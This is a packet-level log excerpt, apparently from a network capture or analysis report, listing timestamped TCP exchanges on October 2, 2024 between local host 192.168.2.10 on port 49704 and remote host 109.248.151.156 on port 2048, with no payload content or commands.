Oct 2, 2024 05:23:21.254923105 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.254934072 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.254945040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.254954100 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.254956961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.254970074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.254993916 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.254993916 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255007982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255047083 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255054951 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255057096 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255111933 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255136013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255147934 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255158901 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255168915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255181074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255198002 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255198002 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255228043 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255228043 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255239964 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255250931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255316973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255331039 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255337000 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255350113 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255361080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255376101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255402088 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255402088 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255407095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255418062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255431890 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255489111 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255495071 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255507946 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255518913 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255530119 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255541086 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255558014 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255584002 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255597115 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255670071 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255676985 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255682945 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255693913 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255700111 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255711079 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255724907 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255747080 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255747080 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255768061 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255778074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255808115 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255842924 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255860090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255871058 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255882025 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255892038 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255913019 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255964041 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.255964994 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255976915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.255986929 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256048918 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256050110 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256061077 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256071091 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256083012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256093025 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256130934 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256151915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256164074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256175995 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256186008 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256191015 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256228924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256253004 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256274939 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256323099 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256335020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256345987 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256356001 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256369114 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256380081 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256382942 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256387949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256392956 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256417990 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256505013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256552935 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256575108 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256607056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256620884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256632090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256647110 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256695032 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256711006 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256722927 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256733894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256747961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256764889 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256799936 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256813049 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256824970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256835938 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256906986 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256917953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256927967 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256932020 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256938934 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.256944895 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.256983042 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.257116079 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257128000 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257138968 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257150888 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257160902 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.257162094 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257173061 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257178068 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.257224083 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.257728100 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257801056 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.257868052 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257879972 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257889986 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257903099 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257914066 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257916927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.257925034 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257936001 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.257949114 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.257965088 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.257997990 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258008957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258019924 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258032084 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258054972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258054972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258121014 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258132935 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258143902 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258153915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258164883 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258172035 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258177042 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258188009 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258200884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258207083 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258207083 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258255959 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258430958 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258450985 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258461952 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258476973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258480072 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258487940 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258497953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258507967 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258512974 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258518934 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258527040 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258533001 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258544922 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258552074 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258557081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258568048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258572102 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258579016 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258593082 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258598089 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258608103 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258610010 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258620977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258632898 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.258650064 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258650064 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.258744001 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.342509031 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342530966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342550039 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342562914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342576027 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342588902 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342600107 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342612028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342663050 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.342663050 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.342760086 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342798948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342809916 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342828989 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342839956 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342917919 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.342936039 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342947006 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342959881 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.342968941 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.342968941 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.342969894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343075991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343120098 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343120098 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343127012 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343139887 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343185902 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343198061 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343209028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343251944 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343251944 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343296051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343307972 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343318939 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343329906 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343375921 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343375921 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343404055 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343415976 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343425989 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343439102 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343465090 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343475103 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343475103 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343534946 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343549013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343559980 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343570948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343580961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343594074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343605995 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343614101 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343656063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343656063 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343692064 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343713999 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343724966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343734026 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343775034 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343775034 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343816996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343830109 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343842030 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343852997 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343899012 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343899012 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.343928099 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343939066 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343949080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343961000 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343971014 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.343982935 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344002008 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344002008 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344053984 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344067097 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344115973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344115973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344180107 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344191074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344202995 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344214916 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344224930 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344235897 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344245911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344254017 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344254017 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344286919 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344326973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344326973 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344348907 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344362020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344443083 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344455957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344466925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344480991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344492912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344496965 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344496965 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344587088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344600916 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344603062 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344614983 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344625950 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344639063 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344674110 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344674110 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344733000 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344744921 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344755888 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344767094 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344778061 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344786882 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344786882 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344789982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344803095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344832897 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344832897 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.344860077 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.344872952 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345052958 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.345052958 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.345459938 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345489025 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345499992 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345510960 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345549107 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.345550060 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.345552921 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345566034 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345572948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345623970 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.345623970 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.345654011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345665932 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345676899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345717907 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345722914 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.345731020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345761061 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345763922 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.345773935 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345781088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.345791101 CEST	2048	49704	109.248.151.156	192.168.2.10
